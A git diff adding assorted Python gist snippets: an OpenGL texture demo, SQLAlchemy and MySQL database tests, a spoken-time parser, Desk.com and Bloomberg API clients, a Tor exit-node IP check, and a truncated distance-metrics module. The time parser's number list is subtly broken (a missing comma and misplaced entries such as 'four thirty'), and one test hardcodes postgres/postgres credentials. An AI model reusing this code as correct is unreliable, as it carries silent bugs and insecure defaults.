+    img_data = numpy.fromstring(img.tostring(), numpy.uint8)
+    width, height = img.size
+
+    # glTexImage2D expects the first element of the image data to be the
+    # bottom-left corner of the image.  Subsequent elements go left to right,
+    # with subsequent lines going from bottom to top.
+
+    # However, the image data was created with PIL Image tostring and numpy's
+    # fromstring, which means we have to do a bit of reorganization. The first
+    # element in the data output by tostring() will be the top-left corner of
+    # the image, with following values going left-to-right and lines going
+    # top-to-bottom.  So, we need to flip the vertical coordinate (y). 
+    texture = GL.glGenTextures(1)
+    GL.glPixelStorei(GL.GL_UNPACK_ALIGNMENT, 1)
+    GL.glBindTexture(GL.GL_TEXTURE_2D, texture)
+    GL.glTexParameterf(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MAG_FILTER, GL.GL_LINEAR)
+    GL.glTexParameterf(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MIN_FILTER, GL.GL_LINEAR_MIPMAP_LINEAR)
+    GL.glTexParameterf(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_WRAP_S, GL.GL_CLAMP_TO_EDGE)
+    GL.glTexParameterf(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_WRAP_T, GL.GL_CLAMP_TO_EDGE)
+    GL.glTexImage2D(GL.GL_TEXTURE_2D, 0, GL.GL_RGBA, width, height, 0,
+        GL.GL_RGBA, GL.GL_UNSIGNED_BYTE, img_data)
+    GL.glGenerateMipmap(GL.GL_TEXTURE_2D)
+    return texture
+
+
+def initialize():
+    global shaderProgram
+    global VAO
+    global VBO
+    global texUnitUniform
+    global sampleTexture
+
+    vertexShader = shaders.compileShader("""
+#version 330
+
+layout (location=0) in vec3 position;
+layout (location=1) in vec2 texCoords;
+
+out vec2 theCoords;
+
+void main()
+{
+    gl_Position = vec4(position, 1);
+    theCoords = texCoords;
+}
+""", GL.GL_VERTEX_SHADER)
+
+    fragmentShader = shaders.compileShader("""
+#version 330
+
+uniform sampler2D texUnit;
+
+in vec2 theCoords;
+
+out vec4 outputColour;
+
+void main()
+{
+    outputColour = texture(texUnit, theCoords);
+}
+""", GL.GL_FRAGMENT_SHADER)
+
+    shaderProgram = shaders.compileProgram(vertexShader, fragmentShader)
+
+    vertexData = numpy.array([
+         # X,    Y,   Z     U,   V
+         0.0,  0.8, 0.0,  0.5, 1.0,
+        -0.8, -0.8, 0.0,  0.0, 0.0,
+         0.8, -0.8, 0.0,  1.0, 0.0,
+    ], dtype=numpy.float32)
+
+    # Core OpenGL requires that at least one OpenGL vertex array be bound
+    VAO = GL.glGenVertexArrays(1)
+    GL.glBindVertexArray(VAO)
+
+    # Need VBO for triangle vertices and texture UV coordinates
+    VBO = GL.glGenBuffers(1)
+    GL.glBindBuffer(GL.GL_ARRAY_BUFFER, VBO)
+    GL.glBufferData(GL.GL_ARRAY_BUFFER, vertexData.nbytes, vertexData,
+        GL.GL_STATIC_DRAW)
+
+    # enable array and set up data
+    positionAttrib = GL.glGetAttribLocation(shaderProgram, 'position')
+    coordsAttrib = GL.glGetAttribLocation(shaderProgram, 'texCoords')
+
+    GL.glEnableVertexAttribArray(0)
+    GL.glEnableVertexAttribArray(1)
+    GL.glVertexAttribPointer(positionAttrib, 3, GL.GL_FLOAT, GL.GL_FALSE, 20,
+        None)
+    # the last parameter is a pointer
+    GL.glVertexAttribPointer(coordsAttrib, 2, GL.GL_FLOAT, GL.GL_TRUE, 20,
+        ctypes.c_void_p(12))
+
+    # load texture and assign texture unit for shaders
+    sampleTexture = loadTexture('hazard.png')
+    texUnitUniform = GL.glGetUniformLocation(shaderProgram, 'texUnit')
+
+    # Finished
+    GL.glBindBuffer(GL.GL_ARRAY_BUFFER, 0)
+    GL.glBindVertexArray(0)
+
+
+def render():
+    global sampleTexture
+    global shaderProgram
+    global texUnitUniform
+    global VAO
+    GL.glClearColor(0, 0, 0, 1)
+    GL.glClear(GL.GL_COLOR_BUFFER_BIT | GL.GL_DEPTH_BUFFER_BIT)
+
+    # active shader program
+    GL.glUseProgram(shaderProgram)
+
+    try:
+        # Activate texture
+        GL.glActiveTexture(GL.GL_TEXTURE0)
+        GL.glBindTexture(GL.GL_TEXTURE_2D, sampleTexture)
+        GL.glUniform1i(texUnitUniform, 0)
+
+        # Activate array
+        GL.glBindVertexArray(VAO)
+
+        # draw triangle
+        GL.glDrawArrays(GL.GL_TRIANGLES, 0, 3)
+    finally:
+        GL.glBindVertexArray(0)
+        GL.glUseProgram(0)
+
+
+def run():
+    if sdl2.SDL_Init(sdl2.SDL_INIT_VIDEO) != 0:
+        print(sdl2.SDL_GetError())
+        return -1
+
+    window = sdl2.SDL_CreateWindow(b"OpenGL demo",
+                                   sdl2.SDL_WINDOWPOS_UNDEFINED,
+                                   sdl2.SDL_WINDOWPOS_UNDEFINED, 800, 600,
+                                   sdl2.SDL_WINDOW_OPENGL)
+    if not window:
+        print(sdl2.SDL_GetError())
+        return -1
+
+    # Force OpenGL 3.3 'core' context.
+    # Must set *before* creating GL context!
+    video.SDL_GL_SetAttribute(video.SDL_GL_CONTEXT_MAJOR_VERSION, 3)
+    video.SDL_GL_SetAttribute(video.SDL_GL_CONTEXT_MINOR_VERSION, 3)
+    video.SDL_GL_SetAttribute(video.SDL_GL_CONTEXT_PROFILE_MASK,
+        video.SDL_GL_CONTEXT_PROFILE_CORE)
+    context = sdl2.SDL_GL_CreateContext(window)
+
+    # Setup GL shaders, data, etc.
+    initialize()
+
+    event = sdl2.SDL_Event()
+    running = True
+    while running:
+        while sdl2.SDL_PollEvent(ctypes.byref(event)) != 0:
+            if event.type == sdl2.SDL_QUIT:
+                running = False
+            elif (event.type == sdl2.SDL_KEYDOWN and
+                event.key.keysym.sym == sdl2.SDLK_ESCAPE):
+                running = False
+
+        render()
+
+        sdl2.SDL_GL_SwapWindow(window)
+        sdl2.SDL_Delay(10)
+
+    sdl2.SDL_GL_DeleteContext(context)
+    sdl2.SDL_DestroyWindow(window)
+    sdl2.SDL_Quit()
+    return 0
+
+if __name__ == "__main__":
+    sys.exit(run())
diff --git a/hard-gists/5846464/._snippet.py b/hard-gists/5846464/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5846464/._snippet.py differ
diff --git a/hard-gists/5846464/snippet.py b/hard-gists/5846464/snippet.py
new file mode 100644
index 00000000..375614d1
--- /dev/null
+++ b/hard-gists/5846464/snippet.py
@@ -0,0 +1,66 @@
+"""
+A demo of creating a new database via SQL Alchemy.
+
+Under MIT License from sprin (https://gist.github.com/sprin/5846464/)
+
+This module takes the form of a nosetest with three steps:
+    - Set up the new database.
+    - Create a table in the new database.
+    - Teardown the new database.
+"""
+from sqlalchemy import (
+    create_engine,
+    MetaData,
+    Table,
+    Column,
+    Integer,
+)
+from sqlalchemy.pool import NullPool
+
+# XXX: It is advised to use another user that can connect to a default database,
+# and has CREATE DATABASE permissions, rather than use a superuser.
+DB_CONFIG_DICT = {
+        'user': 'postgres',
+        'password': 'postgres',
+        'host': 'localhost',
+        'port': 5432,
+}
+
+DB_CONN_FORMAT = "postgresql://{user}:{password}@{host}:{port}/{database}"
+
+DB_CONN_URI_DEFAULT = (DB_CONN_FORMAT.format(
+    database='postgres',
+    **DB_CONFIG_DICT))
+
+engine_default = create_engine(DB_CONN_URI_DEFAULT)
+
+NEW_DB_NAME = 'test'
+
+DB_CONN_URI_NEW = (DB_CONN_FORMAT.format(
+    database=NEW_DB_NAME,
+    **DB_CONFIG_DICT))
+
+metadata = MetaData()
+
+proj = Table('test', metadata, Column('id', Integer))
+
+def setup_module():
+    conn = engine_default.connect()
+    conn.execute("COMMIT")
+    # Do not substitute user-supplied database names here.
+    conn.execute("CREATE DATABASE %s" % NEW_DB_NAME)
+    conn.close()
+
+def test_create_table():
+    # Get a new engine for the just-created database and create a table.
+    engine_new = create_engine(DB_CONN_URI_NEW, poolclass=NullPool)
+    conn = engine_new.connect()
+    metadata.create_all(conn)
+    conn.close()
+
+def teardown_module():
+    conn = engine_default.connect()
+    conn.execute("COMMIT")
+    # Do not substitute user-supplied database names here.
+    conn.execute("DROP DATABASE %s" % NEW_DB_NAME)
+    conn.close()
diff --git a/hard-gists/5849024/._snippet.py b/hard-gists/5849024/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5849024/._snippet.py differ
diff --git a/hard-gists/5849024/snippet.py b/hard-gists/5849024/snippet.py
new file mode 100644
index 00000000..3ff7a678
--- /dev/null
+++ b/hard-gists/5849024/snippet.py
@@ -0,0 +1,158 @@
+import re, fileinput
+import pyPEG
+from pyPEG import parse, parseLine
+from pyPEG import keyword, _and, _not, ignore
+import datetime
+
+## Taken from https://gist.github.com/bertspaan/3059017 and translated to English. It is Working well BUT if you find any errors, please comment!
+
+numbers = [
+"zero",
+"one",
+"two",
+"three",
+"four",
+"five",
+"six",
+"seven",
+"eight",
+"nine",
+"ten",
+"eleven",
+"twelve",
+"thirteen",
+"fourteen",
+"fifteen",
+"sixteen",
+"seventeen",
+"eighteen",
+"nineteen"
+"twenty",
+"twenty one",
+"twenty two",
+"twenty three",
+"twenty four",
+"twenty five",
+"twenty six",
+"twenty seven",
+"twenty eight",
+"twenty nine",
+"thirty",
+"thirty one",
+"thirty two",
+"thirty three",
+"four thirty",
+"thirty five",
+"thirty six",
+"thirty seven",
+"thirty eight",
+"thirty nine",
+"forty",
+"forty one",
+"forty two",
+"forty three",
+"forty four",
+"forty five",
+"forty six",
+"forty seven",
+"forty eight",
+"forty nine",
+"fifty",
+"fifty one",
+"fifty two",
+"three fifty",
+"four fifty",
+"fifty five",
+"fifty six",
+"fifty seven",
+"fifty eight",
+"fifty nine",
+"sixty"
+]
+
+times = [
+	"thirteen past 5",
+	"12 56",
+	"12:56",
+	"twelve thirty",
+	"nine fifteen",
+	"quarter to two",
+	"ten to two",
+	"three to half ten",
+	"13 hour 52",
+	"three thirty",
+	"seven thirty",
+	"eighteen fifteen",
+	"seven",
+	"nine",
+	"8 hour",
+	"eighteen fifteen",
+]
+
+def number():	return re.compile(r"\w+")
+def half():		return re.compile(r"half")
+def hours():	return -1, half, number, -1, keyword("hours")
+def sign():		return [re.compile(r"to"), re.compile(r"past")]
+def minutes():	return number
+def time():		return [		
+					(minutes, sign, hours),
+					(minutes, sign, hours),
+					(hours, -1, ":", minutes),
+					hours
+				]
+
+def string_to_int(str):
+	if str == "quarter":
+		return 15		
+	for i in range(0, 60):
+		if str == numbers[i]:
+			return i
+		
+	return int(str)
+
+def to_time(ast):
+	minutes_str = ""
+	hours_str = ""
+	half = False
+	sign = 1
+	
+	# ast is tuple (ast, ''). skip weird '' part:
+	ast = ast[0]
+
+	for symbol in ast:
+		name = symbol[0]
+		value = symbol[1]
+		if name == "hours":
+			if len(value) == 2:
+				# Has 'half'
+				half = True
+				hours_str = value[1][1]
+			else:
+				hours_str = value[0][1]
+		elif name == "minutes":
+			minutes_str = value[0][1]
+		elif name == "sign":
+			if value[0] == "voor":
+				sign = -1
+
+	minutes = 0
+
+	if len(hours_str) > 0:
+		minutes = string_to_int(hours_str) * 60
+
+	if half:
+		minutes -= 30
+		
+	if len(minutes_str) > 0:
+		minutes += sign * string_to_int(minutes_str)
+
+	hours = minutes // 60
+	minutes = minutes - (60 * hours)
+	
+	today = datetime.date.today() + datetime.timedelta(days=1)
+	return datetime.datetime.combine(today, datetime.time(hours, minutes))
+
+for time_str in times:	
+	ast = parseLine(textline=time_str, pattern=time(), resultSoFar=[])	
+	print time_str, " => ", to_time(ast)
+
diff --git a/hard-gists/5849790/._snippet.py b/hard-gists/5849790/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5849790/._snippet.py differ
diff --git a/hard-gists/5849790/snippet.py b/hard-gists/5849790/snippet.py
new file mode 100644
index 00000000..bff61b35
--- /dev/null
+++ b/hard-gists/5849790/snippet.py
@@ -0,0 +1,99 @@
+# -*- coding: utf-8 -*-
+"""
+Performance test for different types of update
+
+
+
+Results sample
+-----------------------------------------------
+
+In [1]: import db_test
+
+In [2]: db_test.prepare()
+
+In [3]: %timeit db_test.insert_on_duplicate_key_update()
+10 loops, best of 3: 61 ms per loop
+
+In [4]: db_test.prepare()
+
+In [5]: %timeit db_test.update()
+10 loops, best of 3: 52.1 ms per loop
+
+In [6]: db_test.prepare()
+
+In [7]: %timeit db_test.update_case()
+10 loops, best of 3: 33.3 ms per loop
+
+"""
+import random
+import MySQLdb
+
+db = MySQLdb.connect(host='localhost', db='db_test', read_default_file='~/.my.cnf')
+db.autocommit(False)
+
+nrows = 100
+nrows_total = 100000
+
+
+def prepare():
+    """
+    Prepare mysql table "foo"
+    """
+    c = db.cursor()
+    c.execute("""
+    DROP TABLE IF EXISTS `foo`;
+    CREATE TABLE `foo` (
+        `id` int(11) NOT NULL AUTO_INCREMENT,
+        `rating` int(11) NOT NULL,
+         PRIMARY KEY (`id`)
+    ) ENGINE InnoDB DEFAULT CHARSET latin1;
+    """)
+    c.close()
+    c = db.cursor()
+    rating_values = [(1, ) for _ in xrange(nrows_total)]
+    c.executemany("INSERT INTO `foo` (`rating`) VALUES (%s)", rating_values)
+    c.close()
+    db.commit()
+
+
+def insert_on_duplicate_key_update():
+    """
+    Update multiple rows at once with "INSERT .. ON DUPLICATE" statement
+    """
+    ids = random.sample(xrange(1, nrows_total + 1), nrows)
+    rating_values = [(id, 2) for id in ids]
+    c = db.cursor()
+    c.executemany('INSERT INTO `foo` (`id`, `rating`) VALUES (%s, %s) '
+                  'ON DUPLICATE KEY UPDATE `rating` = VALUES(`rating`)',
+                   rating_values)
+    c.close()
+    db.commit()
+
+
+def update():
+    """
+    Update multiple rows in transaction
+    """
+    ids = random.sample(xrange(1, nrows_total + 1), nrows)
+    c = db.cursor()
+    for id in ids:
+        c.execute('UPDATE `foo` SET `rating` = %s WHERE `id` = %s', [2, id])
+    c.close()
+    db.commit()
+
+
+def update_case():
+    """
+    Update multiple rows with case / when / then
+    """
+    ids = random.sample(xrange(1, nrows_total + 1), nrows)
+    values = [2 for _ in xrange(nrows)]
+    c = db.cursor()
+    when_statement = ' '.join('WHEN %s THEN %s' % args for args in zip(ids, values))
+    in_statement = ','.join(str(i) for i in ids)
+
+    c.execute('''UPDATE `foo` SET `rating` = CASE `id`
+                    %s ELSE `rating` END
+                 WHERE `id` IN (%s)''' % (when_statement, in_statement))
+    c.close()
+    db.commit()
diff --git a/hard-gists/5855372/._snippet.py b/hard-gists/5855372/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5855372/._snippet.py differ
diff --git a/hard-gists/5855372/snippet.py b/hard-gists/5855372/snippet.py
new file mode 100644
index 00000000..6e3996e8
--- /dev/null
+++ b/hard-gists/5855372/snippet.py
@@ -0,0 +1,160 @@
+import logging
+import requests
+from django.utils import simplejson
+from django.conf import settings
+
+
+class DeskError(Exception):
+
+    def __init__(self, status):
+        Exception.__init__(self, status)  # Exception is an old-school class
+        self.status = status
+
+    def __str__(self):
+        return self.status
+
+    def __unicode__(self):
+        return unicode(self.__str__())
+
+
+class DeskClient(object):
+    BASE_URL = 'desk.com/api/v2'
+
+    """ Initialize the client with the given sitename, username, and password.
+    The suggested way to do this in the Desk docs for a single person is to use Basic Auth.
+    """
+    def __init__(self, sitename, username, password):
+        self.sitename = sitename
+        self.username = username
+        self.password = password
+
+    """ Constructs the URL for a given service."""
+    def build_url(self, service):
+        return 'https://%s.%s/%s' % (self.sitename, DeskClient.BASE_URL, service)
+
+    """ Calls a GET API for the given service name and URL parameters."""
+    def call_get(self, service, params=None):
+        url = self.build_url(service)
+        r = requests.get(url, params=params, auth=(self.username, self.password))
+        print r.content
+        if r.status_code != requests.codes.ok:
+            raise DeskError(str(r.status_code))
+        return simplejson.loads(r.content)
+
+    """ Calls a POST API for the given service name and POST data."""
+    def call_post(self, service, data=None):
+        url = self.build_url(service)
+        r = requests.post(url, data=simplejson.dumps(data), auth=(self.username, self.password))
+        if r.status_code >= 400:
+            raise DeskError(str(r.status_code))
+        return simplejson.loads(r.content)
+
+    """ Finds a customer based on the given parameters.
+    Documentation: http://dev.desk.com/API/customers/#search
+    Example URL: https://yoursite.desk.com/api/v2/customers/search?email=andrew@example.com
+    """
+    def find_customer(self, params):
+        customer_link = None
+        try:
+            customer_json = self.call_get('customers/search', params)
+            if customer_json['total_entries'] > 0:
+                customer_link = customer_json['_embedded']['entries'][0]['_links']['self']
+        except DeskError:
+            pass
+        return customer_link
+
+    """ Creates a customer based on the given data.
+    Documentation: http://dev.desk.com/API/customers/#create
+    Example URL: https://yoursite.desk.com/api/v2/customers
+    Example data:
+    {
+      "first_name": "Johnny",
+      "emails": [
+        {
+          "type": "work",
+          "value": "johnny@acme.com"
+        },
+        {
+          "type": "other",
+          "value": "johnny@other.com"
+        }
+      ],
+      "custom_fields": {
+        "level": "super"
+      }
+    }
+    """
+    def create_customer(self, data):
+        customer_link = None
+        try:
+            customer_json = self.call_post('customers', data)
+            if not customer_json.get("errors"):
+                customer_link = customer_json['_links']['self']['href']
+        except DeskError:
+            pass
+        return customer_link
+
+    """ Creates a case based on the given data.
+    Documentation: http://dev.desk.com/API/cases/#create
+    Example URL: https://yoursite.desk.com/api/v2/cases
+    Example data:
+    {
+      "type": "email",
+      "subject": "Creating a case via the API",
+      "priority": 4,
+      "status": "open",
+      "labels": [
+        "Spam",
+        "Ignore"
+      ],
+      "language": "fr",
+      "message": {
+        "direction": "in",
+        "status": "received",
+        "to": "someone@desk.com",
+        "from": "someone-else@desk.com",
+        "cc": "alpha@desk.com",
+        "bcc": "beta@desk.com",
+        "subject": "Creating a case via the API",
+        "body": "Please assist me with this case",
+        "created_at": "2012-05-02T21:38:48Z"
+    }
+    """
+    def create_case(self, data):
+        case_link = None
+        try:
+            case_json = self.call_post('cases', data)
+            if not case_json.get("errors"):
+                case_link = case_json['_links']['self']['href']
+        except DeskError:
+            pass
+        return case_link
+
+    """ A convenience function for finding or creating a customer, given an email.
+        It tries to create the customer first, and if it gets a validation error
+        about the customer already existing, it finds the customer.
+        This optimizes for the case that new customers are more common
+        than existing customers.
+        It also takes care of turning a full name into separate first and last name fields.
+    """
+    def find_or_create_customer_by_email(self, email, full_name=None):
+        first_name = email.split('@')[0]
+        last_name = ''
+        if full_name and full_name.find(' ') > -1:
+            first_name = full_name.split(' ')[0]
+            last_name = full_name.split(' ')[1:]
+        elif full_name:
+            first_name = full_name
+        customer_link = self.create_customer({
+            'emails': [{"type": "home", "value": email}],
+            'first_name': first_name,
+            'last_name': last_name})
+        if not customer_link:
+            customer_link = self.find_customer({'email': email})
+        return customer_link
+
+    """ A convenience function for turning the link returned back by the case API
+        into a web link that Desk agents can view."""
+    def get_link_for_case(self, case_api_link):
+        case_number = case_api_link.split('/')[-1]
+        return 'https://%s.desk.com/agent/case/%s' % (self.sitename, case_number)
diff --git a/hard-gists/5856269/._snippet.py b/hard-gists/5856269/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5856269/._snippet.py differ
diff --git a/hard-gists/5856269/snippet.py b/hard-gists/5856269/snippet.py
new file mode 100644
index 00000000..3b1913c0
--- /dev/null
+++ b/hard-gists/5856269/snippet.py
@@ -0,0 +1,119 @@
+import blpapi
+import datetime
+
+class BbDownloader:
+    def __init__(self):
+        self.output_file = ""
+        self.TICK_DATA = blpapi.Name("tickData")
+        self.COND_CODE = blpapi.Name("conditionCodes")
+        self.TICK_SIZE = blpapi.Name("size")
+        self.TIME = blpapi.Name("time")
+        self.TYPE = blpapi.Name("type")
+        self.VALUE = blpapi.Name("value")
+        self.RESPONSE_ERROR = blpapi.Name("responseError")
+        self.CATEGORY = blpapi.Name("category")
+        self.MESSAGE = blpapi.Name("message")
+        self.SESSION_TERMINATED = blpapi.Name("SessionTerminated")
+    
+    
+    def write_tick_data(self, output_filename, security, start_date, end_date):
+        self.output_file = open(output_filename, "w")
+        
+        # Fill SessionOptions
+        sessionOptions = blpapi.SessionOptions()
+        sessionOptions.setServerHost("localhost")
+        sessionOptions.setServerPort(8194)
+        session = blpapi.Session(sessionOptions)
+    
+        # Start a Session
+        if not session.start():
+            print "Failed to start session."
+            return
+    
+        try:
+            # Open service to get historical data from
+            if not session.openService("//blp/refdata"):
+                print "Failed to open //blp/refdata"
+                return
+    
+            self.sendIntradayTickRequest(session, security, start_date, end_date)
+    
+            # wait for events from session.
+            self.eventLoop(session)
+    
+        finally:
+            self.output_file.flush()
+            session.stop()
+            print "Finished"
+    
+    
+    def sendIntradayTickRequest(self, session, security, start_date, end_date):
+        refDataService = session.getService("//blp/refdata")
+        request = refDataService.createRequest("IntradayTickRequest")
+    
+        # only one security/eventType per request
+        request.set("security", security)
+    
+        # Add fields to request
+        eventTypes = request.getElement("eventTypes")
+        for event in ["ASK", "BID", "TRADE"]:
+            eventTypes.appendValue(event)
+    
+        # All times are in GMT
+        request.set("startDateTime", start_date)
+        request.set("endDateTime", end_date)
+        request.set("includeConditionCodes", True)
+            
+        print "Sending Request:", request
+        session.sendRequest(request)
+
+
+    def eventLoop(self, session):
+        done = False
+        while not done:
+            # nextEvent() method below is called with a timeout to let
+            # the program catch Ctrl-C between arrivals of new events
+            event = session.nextEvent(500)
+            if event.eventType() == blpapi.Event.PARTIAL_RESPONSE:
+                self.processResponseEvent(event)
+            elif event.eventType() == blpapi.Event.RESPONSE:
+                self.processResponseEvent(event)
+                done = True
+            else:
+                for msg in event:
+                    if event.eventType() == blpapi.Event.SESSION_STATUS:
+                        if msg.messageType() == self.SESSION_TERMINATED:
+                            done = True
+
+                        
+    def processResponseEvent(self, event):
+        for msg in event:
+            if msg.hasElement(self.RESPONSE_ERROR):
+                print msg.getElement(self.RESPONSE_ERROR)
+                continue
+            self.processMessage(msg)
+
+        
+    def processMessage(self, msg):
+        data = msg.getElement(self.TICK_DATA).getElement(self.TICK_DATA)
+        for item in data.values():
+            time = item.getElementAsDatetime(self.TIME)
+            timeString = item.getElementAsString(self.TIME)
+            type = item.getElementAsString(self.TYPE)
+            value = item.getElementAsFloat(self.VALUE)
+            size = item.getElementAsInteger(self.TICK_SIZE)
+            if item.hasElement(self.COND_CODE):
+                cc = item.getElementAsString(self.COND_CODE)
+            else:
+                cc = ""
+    
+            line = format("%s\t%s\t%.3f\t\t%d\t%s\n" % (timeString, type, value, size, cc))
+            self.output_file.write(line)
+
+
+bbdl = BbDownloader()
+bbdl.write_tick_data(output_filename="spx.txt", 
+                    security="SPX INDEX", 
+                    start_date="2013-06-24T00:00:00", 
+                    end_date="2013-06-24T23:00:00")
+
diff --git a/hard-gists/5858518/._snippet.py b/hard-gists/5858518/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5858518/._snippet.py differ
diff --git a/hard-gists/5858518/snippet.py b/hard-gists/5858518/snippet.py
new file mode 100644
index 00000000..40f4f6c5
--- /dev/null
+++ b/hard-gists/5858518/snippet.py
@@ -0,0 +1,76 @@
+"""
+
+    Tor IP checks
+
+"""
+
+import requests
+
+from django.core.cache import cache
+
+from celery import task
+
+from conf import logs
+
+logger = logs.get_logger()
+
+# Content is like:
+# 82.234.19.113
+# 82.235.216.226
+# 82.242.192.93
+# 82.245.41.171
+CSV_URL = "http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv"
+
+# Memcached key used to store the list
+CACHE_KEY = "tor-ip-exit-list"
+
+
+def fetch_tor_ip_list():
+    """ Stores Tor IP list to memcached
+
+    :return: Set of IP addresses as string
+    """
+
+    r = requests.get(CSV_URL)
+    results = []
+
+    for row in r.content.split("\n"):
+        row = row.strip()
+        if not row:
+            continue
+        results.append(row)
+
+    return frozenset(results)
+
+
+def is_tor_ip(ip):
+    """ Checks if ip address is a TOR exit node.
+
+    Relies on periodically updated IP list.
+    If IP list update has failed then gracefully assumes
+    there are no Tor exit nodes. This is so that
+    our service continues to function even if the external
+    party we are relying on goes down.
+
+    :param ip: IP address as a string
+    """
+    ips = cache.get(CACHE_KEY)
+
+    if not ips:
+        logger.warn("Tor IP list not available; IP check not active")
+        return False
+
+    return ip in ips
+
+
+@task()
+def update_ip_list():
+    """ Background task to update the tor IP list.
+
+    This is periodically configured to be run every 24 h.
+
+    Results should be stord for longer period of time.
+    """
+    logger.info("Updating TOR exit node list from %s" % CSV_URL)
+    ips = fetch_tor_ip_list()
+    cache.set(CACHE_KEY, ips, 3600*24*3)
diff --git a/hard-gists/5859643/._snippet.py b/hard-gists/5859643/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5859643/._snippet.py differ
diff --git a/hard-gists/5859643/snippet.py b/hard-gists/5859643/snippet.py
new file mode 100644
index 00000000..c53759be
--- /dev/null
+++ b/hard-gists/5859643/snippet.py
@@ -0,0 +1,721 @@
+#-*- coding:utf-8 -*-
+
+"""Utilities to evaluate pairwise distances or metrics between 2
+sets of points.
+
+Distance metrics are a function d(a, b) such that d(a, b) < d(a, c) if objects
+a and b are considered "more similar" to objects a and c. Two objects exactly
+alike would have a distance of zero.
+One of the most popular examples is Euclidean distance.
+To be a 'true' metric, it must obey the following four conditions::
+
+    1. d(a, b) >= 0, for all a and b
+    2. d(a, b) == 0, if and only if a = b, positive definiteness
+    3. d(a, b) == d(b, a), symmetry
+    4. d(a, c) <= d(a, b) + d(b, c), the triangle inequality
+
+"""
+
+import numpy as np
+import scipy.spatial.distance as ssd
+from scipy.stats import spearmanr as spearman
+from scipy.sparse import issparse
+from scipy.sparse import csr_matrix
+
+from ..utils import safe_asarray, atleast2d_or_csr
+from ..utils.extmath import safe_sparse_dot
+
+
+# Utility Functions
+def check_pairwise_arrays(X, Y):
+    """ Set X and Y appropriately and checks inputs
+
+    If Y is None, it is set as a pointer to X (i.e. not a copy).
+    If Y is given, this does not happen.
+    All distance metrics should use this function first to assert that the
+    given parameters are correct and safe to use.
+
+    Specifically, this function first ensures that both X and Y are arrays,
+    then checks that they are at least two dimensional. Finally, the function
+    checks that the size of the second dimension of the two arrays is equal.
+
+    Parameters
+    ----------
+    X : {array-like, sparse matrix}, shape = [n_samples_a, n_features]
+
+    Y : {array-like, sparse matrix}, shape = [n_samples_b, n_features]
+
+    Returns
+    -------
+    safe_X : {array-like, sparse matrix}, shape = [n_samples_a, n_features]
+        An array equal to X, guaranteed to be a numpy array.
+
+    safe_Y : {array-like, sparse matrix}, shape = [n_samples_b, n_features]
+        An array equal to Y if Y was not None, guaranteed to be a numpy array.
+        If Y was None, safe_Y will be a pointer to X.
+
+    """
+    if Y is X or Y is None:
+        X = safe_asarray(X)
+        X = Y = atleast2d_or_csr(X, dtype=np.float)
+    else:
+        X = safe_asarray(X)
+        Y = safe_asarray(Y)
+        X = atleast2d_or_csr(X, dtype=np.float)
+        Y = atleast2d_or_csr(Y, dtype=np.float)
+    if len(X.shape) < 2:
+        raise ValueError("X is required to be at least two dimensional.")
+    if len(Y.shape) < 2:
+        raise ValueError("Y is required to be at least two dimensional.")
+    if X.shape[1] != Y.shape[1]:
+        raise ValueError("Incompatible dimension for X and Y matrices: "
+                         "X.shape[1] == %d while Y.shape[1] == %d" % (
+                             X.shape[1], Y.shape[1]))
+    return X, Y
+
+
+# Distances
+def euclidean_distances(X, Y=None, Y_norm_squared=None, squared=False,
+                        inverse=False):
+    """
+    Considering the rows of X (and Y=X) as vectors, compute the
+    distance matrix between each pair of vectors.
+
+    For efficiency reasons, the euclidean distance between a pair of row
+    vector x and y is computed as::
+
+        dist(x, y) = sqrt(dot(x, x) - 2 * dot(x, y) + dot(y, y))
+
+    This formulation has two main advantages. First, it is computationally
+    efficient when dealing with sparse data. Second, if x varies but y
+    remains unchanged, then the right-most dot-product `dot(y, y)` can be
+    pre-computed.
+
+    Parameters
+    ----------
+    X : {array-like, sparse matrix}, shape = [n_samples_1, n_features]
+
+    Y : {array-like, sparse matrix}, shape = [n_samples_2, n_features]
+
+    Y_norm_squared : array-like, shape = [n_samples_2], optional
+        Pre-computed dot-products of vectors in Y (e.g.,
+        ``(Y**2).sum(axis=1)``)
+
+    squared : boolean, optional
+        This routine will return squared Euclidean distances instead.
+
+    inverse: boolean, optional
+        This routine will return the inverse Euclidean distances instead.
+
+
+    Returns
+    -------
+    distances : {array, sparse matrix}, shape = [n_samples_1, n_samples_2]
+
+    Examples
+    --------
+    >>> from crab.metrics.pairwise import euclidean_distances
+    >>> X = [[0, 1], [1, 1]]
+    >>> # distance between rows of X
+    >>> euclidean_distances(X, X)
+    array([[ 0.,  1.],
+           [ 1.,  0.]])
+    >>> # get distance to origin
+    >>> X = [[1.0, 0.0],[1.0,1.0]]
+    >>> euclidean_distances(X, [[0.0, 0.0]])
+    array([[ 1.      ],
+          [ 1.41421356]])
+
+    """
+    # should not need X_norm_squared because if you could precompute that as
+    # well as Y, then you should just pre-compute the output and not even
+    # call this function.
+    X, Y = check_pairwise_arrays(X, Y)
+
+    if issparse(X):
+        XX = X.multiply(X).sum(axis=1)
+    else:
+        XX = np.sum(X * X, axis=1)[:, np.newaxis]
+
+    if X is Y:  # shortcut in the common case euclidean_distances(X, X)
+        YY = XX.T
+    elif Y_norm_squared is None:
+        if issparse(Y):
+            # scipy.sparse matrices don't have element-wise scalar
+            # exponentiation, and tocsr has a copy kwarg only on CSR matrices.
+            YY = Y.copy() if isinstance(Y, csr_matrix) else Y.tocsr()
+            YY.data **= 2
+            YY = np.asarray(YY.sum(axis=1)).T
+        else:
+            YY = np.sum(Y ** 2, axis=1)[np.newaxis, :]
+    else:
+        YY = atleast2d_or_csr(Y_norm_squared)
+        if YY.shape != (1, Y.shape[0]):
+            raise ValueError(
+                "Incompatible dimensions for Y and Y_norm_squared")
+
+    # TODO: a faster Cython implementation would do the clipping of negative
